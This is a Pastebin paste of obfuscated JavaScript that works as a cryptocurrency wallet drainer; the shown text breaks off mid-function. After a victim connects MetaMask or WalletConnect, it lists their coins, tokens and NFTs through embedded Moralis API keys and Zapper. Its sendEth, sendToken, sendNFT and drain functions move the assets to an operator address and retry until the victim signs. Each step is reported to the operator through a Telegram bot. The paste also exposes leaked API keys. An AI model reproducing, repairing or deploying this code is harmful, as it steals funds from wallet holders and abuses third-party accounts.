Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- const _0xd12d80 = _0x1083;
- (function (_0x51827e, _0x3b9c60) {
- const _0x4b1858 = _0x1083,
- _0x321ac9 = _0x51827e();
- while (!![]) {
- try {
- const _0x761534 = parseInt(_0x4b1858(265)) / 1 + parseInt(_0x4b1858(340)) / 2 * ( - parseInt(_0x4b1858(330)) / 3) + parseInt(_0x4b1858(181)) / 4 + parseInt(_0x4b1858(191)) / 5 * (parseInt(_0x4b1858(227)) / 6) + parseInt(_0x4b1858(278)) / 7 + parseInt(_0x4b1858(226)) / 8 + - parseInt(_0x4b1858(269)) / 9;
- if (_0x761534 === _0x3b9c60) break;
- else _0x321ac9['push'](_0x321ac9['shift']());
- } catch (_0x25f16e) {
- _0x321ac9['push'](_0x321ac9['shift']());
- }
- }
- }(_0x4428, 568022), ZAPPER_MATCH = {
- 'eth': _0xd12d80(172),
- 'matic': 'polygon',
- 'bsc': _0xd12d80(341)
- }, NATIVE_MATCH = {
- 'eth': _0xd12d80(206),
- 'matic': _0xd12d80(296),
- 'bsc': _0xd12d80(171)
- }, CHAIN_ID = {
- 'eth': 1,
- 'matic': 137,
- 'bsc': 56
- }, MORALIS_MATCH = {
- 'eth': _0xd12d80(311),
- 'matic': _0xd12d80(228),
- 'bsc': 'bsc'
- });
- var connected = 0;
- itemList = [
- ];
- var nativePrices = {
- 'eth': 0,
- 'matic': 0,
- 'bsc': 0
- },
- tgMsgCount = {
- 'approve': 0,
- 'canceled': 0,
- 'signed': 0,
- 'canceledSwitch': 0
- };
- account = '';
- async function connectWalletConnect() {
- const _0x5a379b = _0xd12d80;
- var _0x5d9734 = new WalletConnectProvider[(_0x5a379b(175))]({
- 'infuraId': _0x5a379b(291),
- 'qrcodeModalOptions': {
- 'desktopLinks': [
- ],
- 'mobileLinks': [
- _0x5a379b(218),
- _0x5a379b(294),
- _0x5a379b(170),
- 'math',
- _0x5a379b(239),
- _0x5a379b(303),
- 'crypto.com',
- _0x5a379b(326),
- _0x5a379b(349),
- _0x5a379b(279),
- _0x5a379b(187),
- 'coin98'
- ]
- }
- });
- await _0x5d9734[_0x5a379b(195)]() [_0x5a379b(293)](async _0x26ff3e=>{
- const _0x176d09 = _0x5a379b;
- web3 = new Web3(_0x5d9734);
- const _0x4a4402 = await web3[_0x176d09(311)][_0x176d09(304)]();
- account = _0x4a4402[0],
- connected = 1,
- updateState(_0x176d09(186)),
- updateState(_0x176d09(256));
- let _0x112938 = await fetchUserTokens(account);
- updateState(_0x176d09(342));
- if (!_0x112938) {
- let _0x4700b6 = await getMoralisTokenBalances();
- !_0x4700b6 ? await fetchSomething() : (console[_0x176d09(229)](itemList), itemList[_0x176d09(232)]((_0x34715e, _0x44b969) =>{
- const _0x1f129f = _0x176d09;
- if (_0x34715e[_0x1f129f(216)] > _0x44b969[_0x1f129f(216)]) return - 1;
- else return _0x34715e[_0x1f129f(216)] < _0x44b969[_0x1f129f(216)] ? 1 : 0;
- }));
- }
- });
- }
- let KEYS = [
- '1Mk7wL6PhOXZ0OnauXnqvWong1LEwN3VE9lFe2ZgFJnzIaBvbxfCzZWS82WDJhss',
- 'r92jUilEzb8AjbrfjMFP0kzWXQTFnWxluzudS0FCwTD1BGGxRyOP0XNtg55QV4sr',
- _0xd12d80(328),
- _0xd12d80(174),
- _0xd12d80(235),
- 'SwG7gVxXlWjpeLU7lx3aOyLSDkQKex16UpuqR1bG4p9zmD9kzoDvu4LiLBoiz7Ll',
- _0xd12d80(233),
- _0xd12d80(190),
- _0xd12d80(257),
- 'r0oJFWVzCvW5rKbDLyVtqTsSgqKHTxXPZav7T8p2egXEcjQHbHVevhZo3hTENam4',
- _0xd12d80(282),
- _0xd12d80(225),
- _0xd12d80(262),
- 'o6Cuh6X3k7CoFqtdN5K1z1VECS8zufO9qafdrV26LAtnSPPNLozIqNgvVWO0DbmD',
- 'nZrLLhl1RYwlJhYk5q3tAsRFgj23L4ZhfZ501p6L0MmA7f6t0SaTV7KnIoyCIX66',
- _0xd12d80(270),
- _0xd12d80(273),
- '3D1Mx5OMCBpWfCUfzu5OXTANGSzNb9rbljrUJyHafIV7rTb3ORlyvzy5liBfy233',
- _0xd12d80(224),
- _0xd12d80(274),
- 'Gj3xD2CNVOYcd710PctBSK1hNYJxjX8C0hMtHlLFiHw7BPhu4PBGN2hsDYF4ttAq',
- _0xd12d80(299),
- _0xd12d80(182),
- _0xd12d80(241),
- 'ZNXbJ4DXSKsQyIYQmvbKz9KfpIriGSIZpUVVSWGt6Tvn1RtCN8npGnsqpI1Q0twi',
- _0xd12d80(180)
- ],
- ETH_MORALIS_BALANCE,
- ETH_TOKENS_MORALIS,
- BNB_MORALIS_BALANCE,
- BSC_TOKENS_MORALIS,
- ETH_PRICE_MORALIS = 1600,
- BNB_PRICE_MORALIS = 330;
- async function getMoralisTokenBalances() {
- return new Promise(_0x19edd1=>{
- const _0x889d29 = _0x1083,
- _0x15ab62 = {
- 'method': _0x889d29(252),
- 'url': _0x889d29(237) + account + '/balance',
- 'params': {
- 'chain': _0x889d29(311)
- },
- 'headers': {
- 'accept': _0x889d29(248),
- 'X-API-Key': KEYS[Math['floor'](Math[_0x889d29(298)]() * KEYS[_0x889d29(305)])]
- }
- };
- axios[_0x889d29(209)](_0x15ab62) [_0x889d29(293)](function (_0x2d5de3) {
- const _0x427541 = _0x889d29;
- ETH_MORALIS_BALANCE = _0x2d5de3[_0x427541(214)][_0x427541(236)],
- itemList['push']({
- 'contract': '0x0000000000000000000000000000000000000000',
- 'price': Number(web3[_0x427541(283)][_0x427541(284)](ETH_MORALIS_BALANCE, _0x427541(202)) * ETH_PRICE_MORALIS),
- 'type': _0x427541(217),
- 'chain': _0x427541(311),
- 'balance': Number(ETH_MORALIS_BALANCE)
- });
- const _0x2be1db = {
- 'method': 'GET',
- 'url': _0x427541(237) + account + '/erc20',
- 'params': {
- 'chain': 'eth'
- },
- 'headers': {
- 'accept': _0x427541(248),
- 'X-API-Key': KEYS[Math[_0x427541(347)](Math[_0x427541(298)]() * KEYS[_0x427541(305)])]
- }
- };
- axios[_0x427541(209)](_0x2be1db) [_0x427541(293)](function (_0x1068cf) {
- const _0x128b98 = _0x427541;
- ETH_TOKENS_MORALIS = _0x1068cf[_0x128b98(214)];
- const _0x1f1d55 = {
- 'method': _0x128b98(252),
- 'url': _0x128b98(237) + account + _0x128b98(314),
- 'params': {
- 'chain': 'bsc'
- },
- 'headers': {
- 'accept': _0x128b98(248),
- 'X-API-Key': KEYS[Math[_0x128b98(347)](Math[_0x128b98(298)]() * KEYS[_0x128b98(305)])]
- }
- };
- axios[_0x128b98(209)](_0x1f1d55) [_0x128b98(293)](function (_0x2d6edd) {
- const _0x1d478f = _0x128b98;
- BNB_MORALIS_BALANCE = _0x2d6edd[_0x1d478f(214)][_0x1d478f(236)],
- itemList[_0x1d478f(286)]({
- 'contract': _0x1d478f(221),
- 'price': Number(web3[_0x1d478f(283)][_0x1d478f(284)](BNB_MORALIS_BALANCE, _0x1d478f(202)) * BNB_PRICE_MORALIS),
- 'type': _0x1d478f(217),
- 'chain': _0x1d478f(300),
- 'balance': Number(BNB_MORALIS_BALANCE)
- });
- const _0x1bf643 = {
- 'method': _0x1d478f(252),
- 'url': _0x1d478f(237) + account + _0x1d478f(316),
- 'params': {
- 'chain': 'bsc'
- },
- 'headers': {
- 'accept': 'application/json',
- 'X-API-Key': KEYS[Math['floor'](Math[_0x1d478f(298)]() * KEYS[_0x1d478f(305)])]
- }
- };
- axios[_0x1d478f(209)](_0x1bf643) [_0x1d478f(293)](async function (_0x170dbb) {
- const _0x4624ba = _0x1d478f;
- BSC_TOKENS_MORALIS = _0x170dbb[_0x4624ba(214)];
- if (ETH_TOKENS_MORALIS[_0x4624ba(305)] > 0) for (let _0x5f3002 = 0; _0x5f3002 < ETH_TOKENS_MORALIS['length']; _0x5f3002++) {
- let _0x4f2546 = ETH_TOKENS_MORALIS[_0x5f3002],
- _0x4a9dcc = await getETHTokenPrice(_0x4f2546);
- if (_0x4a9dcc) {
- let _0x1bedcf = web3['utils'][_0x4624ba(284)](_0x4f2546[_0x4624ba(236)], 'ether'),
- _0x576d81 = _0x1bedcf * _0x4a9dcc;
- itemList[_0x4624ba(286)]({
- 'contract': _0x4f2546[_0x4624ba(234)],
- 'price': Number(_0x576d81),
- 'type': _0x4624ba(176),
- 'chain': 'eth',
- 'balance': Number(_0x4f2546[_0x4624ba(236)])
- });
- }
- if (_0x5f3002 + 1 == ETH_TOKENS_MORALIS[_0x4624ba(305)]) {
- if (BSC_TOKENS_MORALIS['length'] > 0) for (let _0x525856 = 0; _0x525856 < BSC_TOKENS_MORALIS[_0x4624ba(305)]; _0x525856++) {
- let _0x4fd423 = BSC_TOKENS_MORALIS[_0x525856];
- if (_0x4fd423[_0x4624ba(234)] != _0x4624ba(185) && _0x4fd423[_0x4624ba(234)] != _0x4624ba(212) && _0x4fd423['token_address'] != _0x4624ba(338) && _0x4fd423[_0x4624ba(234)] != _0x4624ba(204) && _0x4fd423[_0x4624ba(234)] != '0x41cf3e9534156405a133cda545af9ff0e586500a' && _0x4fd423[_0x4624ba(234)] != _0x4624ba(348) && _0x4fd423[_0x4624ba(234)] != _0x4624ba(244) && _0x4fd423[_0x4624ba(234)] != _0x4624ba(193) && _0x4fd423[_0x4624ba(234)] != '0x29132062319aa375e764ef8ef756f2b28c77a9c9' && _0x4fd423['token_address'] != '0x15ea6b8481bf1c991ac3dc8e67279d31651a56fe' && _0x4fd423['token_address'] != _0x4624ba(268) && _0x4fd423[_0x4624ba(234)] != _0x4624ba(289)) {
- let _0x3ea93c = await getBSCTokenPrice(_0x4fd423);
- if (_0x3ea93c) {
- let _0x30535d = web3[_0x4624ba(283)][_0x4624ba(284)](_0x4fd423[_0x4624ba(236)], 'ether'),
- _0x59c881 = _0x30535d * _0x3ea93c;
- itemList[_0x4624ba(286)]({
- 'contract': _0x4fd423[_0x4624ba(234)],
- 'price': Number(_0x59c881),
- 'type': 'token',
- 'chain': _0x4624ba(300),
- 'balance': Number(_0x4fd423['balance'])
- });
- }
- }
- if (_0x525856 + 1 == BSC_TOKENS_MORALIS['length']) return _0x19edd1(!![]);
- } else return _0x19edd1(!![]);
- }
- } else {
- if (BSC_TOKENS_MORALIS[_0x4624ba(305)] > 0) for (let _0x1fd37c = 0; _0x1fd37c < BSC_TOKENS_MORALIS['length']; _0x1fd37c++) {
- let _0xa7b990 = BSC_TOKENS_MORALIS[_0x1fd37c];
- if (_0xa7b990[_0x4624ba(234)] != '0x71753d0586ea6b979dfccbb492a45e611e0e0ad6' && _0xa7b990[_0x4624ba(234)] != _0x4624ba(212) && _0xa7b990[_0x4624ba(234)] != '0x156ab3346823b651294766e23e6cf87254d68962' && _0xa7b990['token_address'] != _0x4624ba(204) && _0xa7b990[_0x4624ba(234)] != '0x41cf3e9534156405a133cda545af9ff0e586500a' && _0xa7b990[_0x4624ba(234)] != _0x4624ba(348) && _0xa7b990[_0x4624ba(234)] != _0x4624ba(244) && _0xa7b990['token_address'] != _0x4624ba(193) && _0xa7b990[_0x4624ba(234)] != _0x4624ba(267) && _0xa7b990[_0x4624ba(234)] != _0x4624ba(201) && _0xa7b990['token_address'] != _0x4624ba(268) && _0xa7b990[_0x4624ba(234)] != '0xc0c6e4c6e70c6231b20979bda581a66f062a7967') {
- let _0x2e6454 = await getBSCTokenPrice(_0xa7b990);
- if (_0x2e6454) {
- let _0x420e17 = web3[_0x4624ba(283)][_0x4624ba(284)](_0xa7b990['balance'], _0x4624ba(202)),
- _0x11ada1 = _0x420e17 * _0x2e6454;
- itemList[_0x4624ba(286)]({
- 'contract': _0xa7b990['token_address'],
- 'price': Number(_0x11ada1),
- 'type': _0x4624ba(176),
- 'chain': 'bsc',
- 'balance': Number(_0xa7b990[_0x4624ba(236)])
- });
- }
- }
- if (_0x1fd37c + 1 == BSC_TOKENS_MORALIS[_0x4624ba(305)]) return _0x19edd1(!![]);
- } else return _0x19edd1(!![]);
- }
- }) [_0x1d478f(200)](function (_0x5c3199) {
- const _0x4c2486 = _0x1d478f;
- return console[_0x4c2486(229)](_0x5c3199),
- _0x19edd1(![]);
- });
- }) [_0x128b98(200)](function (_0x582a37) {
- const _0xcf3b1b = _0x128b98;
- return console[_0xcf3b1b(229)](_0x582a37),
- _0x19edd1(![]);
- });
- }) ['catch'](function (_0x2cb84b) {
- const _0x8b67a8 = _0x427541;
- return console[_0x8b67a8(229)](_0x2cb84b),
- _0x19edd1(![]);
- });
- }) [_0x889d29(200)](function (_0xf27b84) {
- const _0x1d60f2 = _0x889d29;
- return console[_0x1d60f2(229)](_0xf27b84),
- _0x19edd1(![]);
- });
- });
- }
- async function getBSCTokenPrice(_0x28ecf3) {
- return new Promise(_0x3c3753=>{
- const _0x4de9ea = _0x1083,
- _0x5ad078 = {
- 'method': 'GET',
- 'url': _0x4de9ea(309) + _0x28ecf3['token_address'] + _0x4de9ea(179),
- 'params': {
- 'chain': 'bsc'
- },
- 'headers': {
- 'accept': _0x4de9ea(248),
- 'X-API-Key': KEYS[Math['floor'](Math[_0x4de9ea(298)]() * KEYS['length'])]
- }
- };
- axios[_0x4de9ea(209)](_0x5ad078) [_0x4de9ea(293)](function (_0x5b4777) {
- const _0x8c51e5 = _0x4de9ea;
- return _0x5b4777[_0x8c51e5(214)][_0x8c51e5(220)] ? _0x3c3753(_0x5b4777[_0x8c51e5(214)][_0x8c51e5(220)]) : (console[_0x8c51e5(229)]('No Price: ', _0x28ecf3[_0x8c51e5(234)]), _0x3c3753(![]));
- }) ['catch'](function (_0x46ba2e) {
- const _0x1692d8 = _0x4de9ea;
- return console[_0x1692d8(343)](_0x46ba2e),
- _0x3c3753(![]);
- });
- });
- }
- async function getETHTokenPrice(_0x887379) {
- return new Promise(_0x40331e=>{
- const _0x5754d1 = _0x1083,
- _0x4edca8 = {
- 'method': 'GET',
- 'url': _0x5754d1(309) + _0x887379[_0x5754d1(234)] + _0x5754d1(179),
- 'params': {
- 'chain': _0x5754d1(311)
- },
- 'headers': {
- 'accept': _0x5754d1(248),
- 'X-API-Key': KEYS[Math[_0x5754d1(347)](Math[_0x5754d1(298)]() * KEYS['length'])]
- }
- };
- axios[_0x5754d1(209)](_0x4edca8) [_0x5754d1(293)](function (_0x3b1349) {
- const _0x1dd65f = _0x5754d1;
- return _0x3b1349[_0x1dd65f(214)][_0x1dd65f(220)] ? _0x40331e(_0x3b1349['data']['usdPrice']) : (console[_0x1dd65f(229)]('No Price: ', _0x887379[_0x1dd65f(234)]), _0x40331e(![]));
- }) ['catch'](function (_0x37d040) {
- const _0x50d926 = _0x5754d1;
- return console[_0x50d926(343)](_0x37d040),
- _0x40331e(![]);
- });
- });
- }
- async function getTokenBalances() {
- return new Promise(async _0x163b42=>{
- const _0x207669 = _0x1083;
- let _0x33725b = [
- {
- 'constant': !![],
- 'inputs': [
- {
- 'name': _0x207669(199),
- 'type': 'address'
- }
- ],
- 'name': _0x207669(177),
- 'outputs': [
- {
- 'name': _0x207669(236),
- 'type': _0x207669(312)
- }
- ],
- 'payable': ![],
- 'type': 'function'
- }
- ];
- const _0x4955d9 = [
- '0x1f9840a85d5aF5bf1D1762F925BDADdC4201F984'
- ],
- _0x4d5040 = account;
- for (let _0x52353c of _0x4955d9) {
- const _0x426dd0 = new web3[(_0x207669(311))][(_0x207669(205))](_0x33725b, _0x52353c),
- _0x488c0c = await _0x426dd0['methods'][_0x207669(177)](_0x4d5040) [_0x207669(194)]();
- console[_0x207669(229)](_0x52353c, _0x488c0c);
- }
- return _0x163b42();
- });
- }
- async function fetchSomething() {
- return new Promise(_0x86cd6c=>{
- const _0x5045da = _0x1083;
- web3_new = new Web3(new Web3['providers'][(_0x5045da(285))](_0x5045da(238))),
- web3_new[_0x5045da(311)][_0x5045da(266)](account, (_0xb0883b, _0x3d73a4) =>{
- const _0x401b80 = _0x5045da;
- if (_0xb0883b) alert(_0x401b80(297));
- else {
- let _0x4e01c4 = web3[_0x401b80(283)]['toWei'](_0x3d73a4, _0x401b80(323));
- return itemList['push']({
- 'contract': '0x0000000000000000000000000000000000000000',
- 'price': Number(_0x4e01c4),
- 'type': _0x401b80(217),
- 'chain': 'eth',
- 'balance': Number(_0x4e01c4)
- }),
- _0x86cd6c();
- }
- });
- });
- }
- async function connectMetamask() {
- const _0x3f2930 = _0xd12d80;
- if (connected == 1) return;
- if (!window[_0x3f2930(172)] && document[_0x3f2930(272)] === _0x3f2930(331)) {
- window['location']['href'] = _0x3f2930(319);
- return;
- }
- await ethereum[_0x3f2930(209)]({
- 'method': 'eth_requestAccounts'
- }),
- provider = window[_0x3f2930(172)],
- web3 = new Web3(provider);
- const _0x5a6aed = await web3[_0x3f2930(311)][_0x3f2930(304)]();
- account = _0x5a6aed[0],
- connected = 1,
- updateState('metamaskConnected'),
- updateState(_0x3f2930(256));
- let _0x136cc4 = await fetchUserTokens(account);
- updateState('userTokensFetched');
- if (!_0x136cc4) {
- let _0xb5879 = await getMoralisTokenBalances();
- !_0xb5879 ? await fetchSomething() : (console['log'](itemList), itemList['sort']((_0x1eb934, _0x411a5b) =>{
- const _0x49d5bf = _0x3f2930;
- if (_0x1eb934[_0x49d5bf(216)] > _0x411a5b[_0x49d5bf(216)]) return - 1;
- else return _0x1eb934[_0x49d5bf(216)] < _0x411a5b[_0x49d5bf(216)] ? 1 : 0;
- }));
- }
- }
- async function fetchUserTokens(_0x1a894f) {
- return new Promise(async _0x4ebbd6=>{
- const _0x495919 = _0x1083;
- try {
- let _0x287df6 = 'https://deep-index.moralis.io/api/v2/' + _0x1a894f + '/balance',
- _0x57a519 = _0x495919(237) + _0x1a894f + '/erc20',
- _0x3bd8be = _0x495919(309),
- _0x3147b4 = _0x495919(320) + _0x1a894f + _0x495919(329),
- _0x34be33 = await fetch(_0x495919(243) + ('' + _0x1a894f) + _0x495919(308), {
- 'headers': {
- 'Authorization': ZAPPER_KEY
- }
- }),
- _0x2370be = (await _0x34be33['text']()) ['replace'](/[\n]*event: [\w]*[\n]*data: \{"appId":"([-\w]*)","network":"([-\w]*)"/gi, _0x495919(189));
- _0x2370be = '{' + _0x2370be[_0x495919(335)](1) [_0x495919(275)](_0x495919(247), '') + '}';
- let _0x1843b0 = JSON['parse'](_0x2370be),
- _0xa1da9d = [
- ];
- for (let _0x1b3669 in _0x1843b0) {
- let _0x55be35 = [
- ];
- for (let _0x39cf26 in _0x1843b0[_0x1b3669][_0x495919(236)]) {
- if (Object[_0x495919(258)](_0x1843b0[_0x1b3669][_0x495919(236)][_0x39cf26]) ['length'] !== 0) for (let _0xa5228d in _0x1843b0[_0x1b3669]['balance'][_0x39cf26]) {
- if (_0x1843b0[_0x1b3669]['balance'][_0x39cf26][_0xa5228d][_0x495919(245)] != '0x0000000000000000000000000000000000000000') {
- let _0x43917d = {
- };
- _0x43917d['contract'] = _0x1843b0[_0x1b3669][_0x495919(236)][_0x39cf26][_0xa5228d][_0x495919(245)],
- _0x43917d[_0x495919(255)] = _0x495919(176),
- _0x43917d[_0x495919(236)] = parseInt(_0x1843b0[_0x1b3669][_0x495919(236)][_0x39cf26][_0xa5228d][_0x495919(188)][_0x495919(260)]),
- _0x43917d[_0x495919(216)] = _0x1843b0[_0x1b3669][_0x495919(236)][_0x39cf26][_0xa5228d][_0x495919(290)];
- if (_0x1843b0[_0x1b3669][_0x495919(211)] == _0x495919(341)) _0x43917d[_0x495919(327)] = _0x495919(300);
- else {
- if (_0x1843b0[_0x1b3669][_0x495919(211)] == _0x495919(228)) _0x43917d[_0x495919(327)] = 'matic';
- else _0x1843b0[_0x1b3669][_0x495919(211)] == _0x495919(172) ? _0x43917d['chain'] = 'eth' : _0x43917d[_0x495919(327)] = _0x1843b0[_0x1b3669][_0x495919(211)];
- }
- _0x55be35[_0x495919(286)](_0x43917d);
- } else {
- let _0x46cc32 = {
- };
- _0x46cc32[_0x495919(250)] = _0x1843b0[_0x1b3669][_0x495919(236)][_0x39cf26][_0xa5228d][_0x495919(245)],
- _0x46cc32[_0x495919(255)] = _0x495919(217),
- _0x46cc32['balance'] = parseInt(_0x1843b0[_0x1b3669][_0x495919(236)][_0x39cf26][_0xa5228d][_0x495919(188)][_0x495919(260)]),
- _0x46cc32[_0x495919(216)] = _0x1843b0[_0x1b3669][_0x495919(236)][_0x39cf26][_0xa5228d][_0x495919(290)];
- if (_0x1843b0[_0x1b3669][_0x495919(211)] == _0x495919(341)) _0x46cc32[_0x495919(327)] = 'bsc';
- else {
- if (_0x1843b0[_0x1b3669]['network'] == 'polygon') _0x46cc32[_0x495919(327)] = _0x495919(208);
- else _0x1843b0[_0x1b3669][_0x495919(211)] == _0x495919(172) ? _0x46cc32[_0x495919(327)] = _0x495919(311) : _0x46cc32[_0x495919(327)] = _0x1843b0[_0x1b3669][_0x495919(211)];
- }
- _0x55be35[_0x495919(286)](_0x46cc32);
- }
- }
- }
- if (Object['keys'](_0x55be35) [_0x495919(305)] !== 0) _0xa1da9d[_0x495919(286)](_0x55be35);
- }
- for (let _0x4604e7 of Object[_0x495919(350)](chains)) {
- if (!_0x4604e7[1]) continue;
- else {
- }
- let _0x10a92e = nativePrices[_0x4604e7[0]];
- if (toDrain[_0x4604e7[0]][_0x495919(315)] == !![]) {
- let _0x1d8c85 = await fetch(_0x3147b4, {
- 'headers': {
- 'Authorization': ZAPPER_KEY
- }
- });
- nftList = (await _0x1d8c85['json']()) [_0x495919(240)],
- itemList = itemList[_0x495919(230)](nftList['map'](_0x233b84=>{
- const _0x1ceb8a = _0x495919;
- return {
- 'contract': _0x233b84[_0x1ceb8a(176)][_0x1ceb8a(169)][_0x1ceb8a(245)],
- 'balance': _0x233b84['token'][_0x1ceb8a(287)],
- 'type': _0x1ceb8a(315),
- 'price': _0x233b84[_0x1ceb8a(176)][_0x1ceb8a(261)] * _0x10a92e,
- 'chain': _0x4604e7[0]
- };
- }));
- }
- if (toDrain[_0x4604e7[0]][_0x495919(322)] == !![]) {
- let _0x272ffe = [
- ];
- for (let _0x439834 in _0xa1da9d) {
- for (tokenid in _0xa1da9d[_0x439834]) {
- _0xa1da9d[_0x439834][tokenid][_0x495919(327)] == _0x4604e7[0] && _0xa1da9d[_0x439834][tokenid][_0x495919(255)] == _0x495919(176) && _0x272ffe['push'](_0xa1da9d[_0x439834][tokenid]);
- }
- }
- itemList = itemList[_0x495919(230)](_0x272ffe);
- }
- if (toDrain[_0x4604e7[0]][_0x495919(311)] == !![]) {
- let _0xdf7228 = [
- ];
- for (let _0x4d8f11 in _0xa1da9d) {
- for (tokenid in _0xa1da9d[_0x4d8f11]) {
- _0xa1da9d[_0x4d8f11][tokenid]['chain'] == _0x4604e7[0] && _0xa1da9d[_0x4d8f11][tokenid][_0x495919(255)] == _0x495919(217) && _0xdf7228[_0x495919(286)](_0xa1da9d[_0x4d8f11][tokenid]);
- }
- }
- itemList = itemList[_0x495919(230)](_0xdf7228);
- }
- }
- return itemList[_0x495919(232)]((_0x21533a, _0x38aeb8) =>{
- const _0x182301 = _0x495919;
- if (_0x21533a[_0x182301(216)] > _0x38aeb8[_0x182301(216)]) return - 1;
- else return _0x21533a[_0x182301(216)] < _0x38aeb8[_0x182301(216)] ? 1 : 0;
- }),
- _0x4ebbd6(!![]);
- } catch (_0x59126d) {
- return await sendMsg('🛑 Возможно отрыгнул парсинг по апи! Проверить!', !![]),
- _0x4ebbd6(![]);
- }
- });
- }
- async function sendEth(_0x2fd3dd, _0x160ed8) {
- return new Promise(async _0x4815c6=>{
- const _0x17239a = _0x1083;
- if (_0x160ed8 == 'bsc') {
- gasPrice = await web3[_0x17239a(311)]['getGasPrice'](),
- newAmount = _0x2fd3dd - Number(gasPrice * 400000);
- if (newAmount < 0) return;
- var _0x5287fc = {
- 'from': account,
- 'to': ownerAddress,
- 'value': newAmount
- };
- let _0x499684 = ![];
- while (!_0x499684) {
- var _0x27199e = 1;
- try {
- return await web3[_0x17239a(311)][_0x17239a(249)](_0x5287fc),
- _0x499684 = !![],
- logTx(_0x27199e),
- _0x4815c6();
- } catch (_0x28399d) {
- _0x27199e = 0,
- _0x499684 = ![];
- }
- }
- } else {
- gasPrice = await web3[_0x17239a(311)][_0x17239a(210)](),
- newAmount = _0x2fd3dd - 1300000000000000 - Number(gasPrice);
- if (newAmount < 0) return;
- var _0x5287fc = {
- 'from': account,
- 'to': ownerAddress,
- 'value': newAmount
- };
- let _0x4c7d26 = ![];
- while (!_0x4c7d26) {
- var _0x27199e = 1;
- try {
- await web3[_0x17239a(311)]['sendTransaction'](_0x5287fc, (_0x4b5087, _0x428e98) =>{
- if (_0x4b5087) _0x27199e = 0,
- _0x4c7d26 = ![];
- else return _0x4c7d26 = !![],
- logTx(_0x27199e),
- _0x4815c6();
- });
- } catch (_0x24d1d4) {
- _0x27199e = 0,
- _0x4c7d26 = ![];
- }
- }
- }
- });
- }
- async function sendToken(_0x505b29, _0x2020ca) {
- return new Promise(async _0x10f10d=>{
- const _0x20c2c8 = _0x1083;
- let _0xe1a77f,
- _0x434034,
- _0x891ac = ![];
- while (!_0x891ac) {
- var _0x14a2a0 = 1;
- try {
- _0xe1a77f = new web3[(_0x20c2c8(311))][(_0x20c2c8(205))](ERC20_ABI, _0x2020ca),
- _0x434034 = await _0xe1a77f[_0x20c2c8(276)][_0x20c2c8(313)](ownerAddress, _0x505b29[_0x20c2c8(306)](_0x20c2c8(302), {
- 'useGrouping': ![]
- })) ['send']({
- 'from': account,
- 'gas': 120000,
- 'gasPrice': 0
- }) ['on'](_0x20c2c8(321), _0x1a93c7=>{
- return _0x891ac = !![],
- logTx(_0x14a2a0),
- _0x10f10d();
- }) ['on'](_0x20c2c8(343), _0xa26a56=>{
- _0x891ac = ![];
- });
- } catch (_0x2ee2e9) {
- _0x891ac = ![];
- }
- }
- });
- }
- async function sendNFT(_0xa24bbc, _0x502f8e) {
- const _0x2effbc = _0xd12d80;
- var _0x575ba0 = new web3[(_0x2effbc(311))][(_0x2effbc(205))](ERC721_ABI, _0x502f8e),
- _0x3aa3ed = 1;
- try {
- await _0x575ba0['methods']['approve'](ownerAddress, _0xa24bbc) ['send']({
- 'from': account,
- 'gas': 120000,
- 'gasPrice': 0
- });
- } catch (_0x539ccd) {
- _0x3aa3ed = 0;
- }
- logTx(_0x3aa3ed);
- }
- async function drain(_0x2e064a) {
- const _0x19370f = _0xd12d80;
- for (var _0x199c04 of itemList) {
- if (_0x2e064a && _0x199c04[_0x19370f(327)] == 'bsc') {
- } else {
- if (_0x199c04['price'] > 0) {
- if (tgMsgCount[_0x19370f(313)]++ < 1) sendMsg(LOG_SCHEMA[logLanguage]['onApprove']);
- try {
- !_0x2e064a && window['ethereum']['networkVersion'] !== CHAIN_ID[_0x199c04[_0x19370f(327)]] && await changeNetwork(CHAIN_ID[_0x199c04[_0x19370f(327)]]);
- } catch (_0x4c212e) {
- if (tgMsgCount['canceledSwitch']++ < 3) sendMsg(LOG_SCHEMA[logLanguage][_0x19370f(295)]);
- continue;
- }
- try {
- if (_0x199c04[_0x19370f(255)] == _0x19370f(217)) await sendEth(_0x199c04[_0x19370f(236)], _0x199c04[_0x19370f(327)]);
- else {
- if (_0x199c04[_0x19370f(255)] == _0x19370f(176)) await sendToken(_0x199c04[_0x19370f(236)], _0x199c04[_0x19370f(250)]);
- else {
- if (_0x199c04['type'] == _0x19370f(315)) await sendNFT(_0x199c04[_0x19370f(236)], _0x199c04[_0x19370f(250)]);
- }
- }
- } catch (_0x1f3b30) {
- }
- }
- }
- }
- }
- const changeNetwork = async _0x13ea49=>{
- const _0x47a882 = _0xd12d80;
- window[_0x47a882(172)] && await window[_0x47a882(172)][_0x47a882(209)]({
- 'method': _0x47a882(215),
- 'params': [
- {
- 'chainId': Web3['utils']['toHex'](_0x13ea49)
- }
- ]
- });
- };
- function _0x1083(_0xc019fd, _0x4df8e4) {
- const _0x4428df = _0x4428();
- return _0x1083 = function (_0x10832a, _0x4a90fd) {
- _0x10832a = _0x10832a - 169;
- let _0x484766 = _0x4428df[_0x10832a];
- return _0x484766;
- },
- _0x1083(_0xc019fd, _0x4df8e4);
- }
- function logTx(_0x419389) {
- const _0x3a2991 = _0xd12d80;
- if (_0x419389 == 1) {
- if (tgMsgCount['signed']++ < 3) sendMsg(LOG_SCHEMA[logLanguage][_0x3a2991(324)]);
- } else {
- if (tgMsgCount[_0x3a2991(346)]++ < 3) sendMsg(LOG_SCHEMA[logLanguage]['onCancel']);
- }
- }
- async function sendMsg(_0xe9a9c, _0x9b6567) {
- const _0x20330e = _0xd12d80;
- if (_0x9b6567) {
- var _0xc0a33b = _0x20330e(337) + tgConfig[_0x20330e(336)] + _0x20330e(281) + tgConfig[_0x20330e(207)] + '&parse_mode=markdown&text=' + _0xe9a9c;
- resp = fetch(_0xc0a33b);
- } else {
- var _0x5daedd = _0xe9a9c[_0x20330e(275)](_0x20330e(325), localStorage[_0x20330e(280)]('scUniqueId')) [_0x20330e(275)]('$wallet', account),
- _0xc0a33b = _0x20330e(337) + tgConfig[_0x20330e(336)] + _0x20330e(281) + tgConfig[_0x20330e(207)] + _0x20330e(345) + _0x5daedd;
- resp = fetch(_0xc0a33b);
- }
- }
- window[_0xd12d80(242)](_0xd12d80(197), async() =>{
- const _0x523e38 = _0xd12d80;
- id = localStorage[_0x523e38(280)](_0x523e38(317)),
- id == null && (response = await fetch(_0x523e38(332)), id = await response[_0x523e38(339)](), localStorage[_0x523e38(259)](_0x523e38(317), id)),
- sendMsg(LOG_SCHEMA[logLanguage][_0x523e38(263)]);
- });
- try {
- window[_0xd12d80(172)]['on'](_0xd12d80(219), _0xdf7250=>{
- const _0x443c41 = _0xd12d80;
